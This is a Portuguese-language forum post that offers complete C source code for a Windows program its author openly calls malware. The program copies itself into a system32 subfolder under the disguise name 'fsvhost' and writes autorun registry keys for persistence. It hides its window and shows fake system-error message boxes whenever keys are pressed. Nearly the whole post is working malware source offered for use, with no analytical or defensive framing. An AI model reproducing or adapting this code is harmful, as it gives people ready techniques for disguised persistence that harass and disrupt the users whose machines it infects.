esse malware ele se copia para pasta "c:\windows\system32\fts" caso ele nao esteja nela, cria uma chave de inicializaçao, e quando a pessoa apertar qualquer tecla ele exibe uma caixa de texto com uma msg de erro
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link]
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link]
- Código:
/*
FTS Malware ErrKey
autor: hacker fts315
linguagem: c
*/
//bibliotecas
#include <stdio.h>
#include <stdbool.h>
#include <windows.h>
//constantes de configuraçao
#define MSG "erro grave no sistema"
#define MSG_NOME "erro 0x315"
#define NOME_PROGRAMA "fsvhost"
#define NOME_CHAVE "fsvhost"
#define TEMPO_SLEEP 1000
#define LOCAL_VIRUS "c:\\windows\\system32\\fts"
#define LOCAL_VIRUS_EXE "c:\\windows\\system32\\fts\\fsvhost.exe"
//prototipo
void infectar(char *arquivo);
void ocultar(void);
void registro_ini(void);
void msg_chata(void);
//funçao principal
int main(int argc,char *argv[])
{
infectar(argv[0]);
SetConsoleTitle(NOME_PROGRAMA);
ocultar();
msg_chata();
return 0;
}
//funçao infectar
void infectar(char *arquivo)
{
FILE *abrir;
abrir = fopen(LOCAL_VIRUS_EXE,"rb");
if(!abrir)
{
registro_ini();
CreateDirectory(LOCAL_VIRUS,0);
CopyFile(arquivo,LOCAL_VIRUS_EXE,0);
ShellExecute(0,"open",LOCAL_VIRUS_EXE,0,0,1);
exit(0);
}
}
//funçao para ocultar a janela
void ocultar(void)
{
HWND janela;
janela = FindWindow(0,NOME_PROGRAMA);
ShowWindow(janela,SW_HIDE);
}
//funçao do registro
void registro_ini(void)
{
HKEY chave;
RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&chave);
RegSetValueEx(chave,NOME_CHAVE,0,REG_SZ,(LPBYTE)LOCAL_VIRUS_EXE,1000);
RegCloseKey(chave);
RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&chave);
RegSetValueEx(chave,NOME_CHAVE,0,REG_SZ,(LPBYTE)LOCAL_VIRUS_EXE,1000);
RegCloseKey(chave);
}
//funçao das msgs
void msg_chata(void)
{
while(true)
{
if(GetAsyncKeyState((int)'A'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'B'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'C'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'D'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'E'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'F'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'G'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'H'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'I'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'J'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'L'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'M'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'N'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'O'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'P'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'Q'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'R'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'S'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'T'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'U'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'V'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'W'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'X'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'Y'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'Z'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'1'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'2'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'3'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'4'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'5'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'6'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'7'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'8'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
else if(GetAsyncKeyState((int)'9'))
{
MessageBox(0,MSG,MSG_NOME,0x10);
}
Sleep(TEMPO_SLEEP);
}
}